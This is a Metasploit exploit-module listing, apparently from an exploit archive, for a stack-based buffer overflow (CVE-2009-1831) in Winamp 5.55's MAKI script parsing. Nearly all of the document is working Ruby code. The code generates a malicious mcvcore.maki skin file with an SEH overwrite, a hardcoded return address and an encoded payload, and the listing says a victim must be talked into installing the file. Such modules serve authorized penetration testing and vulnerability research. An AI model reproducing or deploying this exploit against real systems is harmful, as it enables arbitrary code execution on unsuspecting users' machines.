exploit the possibilities

Winamp MAKI Buffer Overflow

Winamp MAKI Buffer Overflow
Posted Sep 11, 2012
Authored by juan vazquez, Monica Sojeong Hong | Site metasploit.com

This Metasploit module exploits a stack based buffer overflow in Winamp 5.55. The flaw exists in the gen_ff.dll and occurs while parsing a specially crafted MAKI file, where memmove is used with in a insecure way with user controlled data. To exploit the vulnerability the attacker must convince the attacker to install the generated mcvcore.maki file in the "scripts" directory of the default "Bento" skin, or generate a new skin using the crafted mcvcore.maki file. The module has been tested successfully on Windows XP SP3 and Windows 7 SP1.

tags | exploit, overflow
systems | windows, xp, 7
advisories | CVE-2009-1831, OSVDB-54902
MD5 | ad1d93dcef7a9dd993b59f8507f53b62

Winamp MAKI Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Winamp MAKI Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in Winamp 5.55. The flaw
exists in the gen_ff.dll and occurs while parsing a specially crafted MAKI file,
where memmove is used with in a insecure way with user controlled data.

To exploit the vulnerability the attacker must convince the attacker to install the
generated mcvcore.maki file in the "scripts" directory of the default "Bento" skin,
or generate a new skin using the crafted mcvcore.maki file. The module has been
tested successfully on Windows XP SP3 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Monica Sojeong Hong', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2009-1831'],
[ 'OSVDB', '54902'],
[ 'BID', '35052'],
[ 'EDB', '8783'],
[ 'EDB', '8772'],
[ 'EDB', '8770'],
[ 'EDB', '8767'],
[ 'URL', 'http://vrt-sourcefire.blogspot.com/2009/05/winamp-maki-parsing-vulnerability.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 4000,
'DisableNops' => true,
'BadChars' => ""
},
'Platform' => 'win',
'Targets' =>
[
# winamp.exe 5.5.5.2405
[ 'Winamp 5.55 / Windows XP SP3 / Windows 7 SP1',
{
'Ret' => 0x12f02bc3, # ppr from in_mod.dll
'Offset' => 16756
}
]
],
'Privileged' => false,
'DisclosureDate' => 'May 20 2009',
'DefaultTarget' => 0))

deregister_options('FILENAME')
end

def file_format_filename
'mcvcore.maki'
end

def exploit

sploit = rand_text(target['Offset'])
sploit << generate_seh_record(target.ret)
sploit << payload.encoded
length_sploit = [sploit.length].pack("v")

header = "\x46\x47" # magic
header << "\x03\x04" # version
header << "\x17\x00\x00\x00"
types = "\x01\x00\x00\x00" # count
# class 1 => Object
types << "\x71\x49\x65\x51\x87\x0D\x51\x4A\x91\xE3\xA6\xB5\x32\x35\xF3\xE7"
# functions
functions = "\x37\x00\x00\x00" # count
#function 1
functions << "\x01\x01" # class
functions << "\x00\x00" # dummy
functions << length_sploit # function name length
functions << sploit # crafted function name

maki = header
maki << types
maki << functions

print_status("Creating '#{file_format_filename}' file ...")

file_create(maki)

end

end

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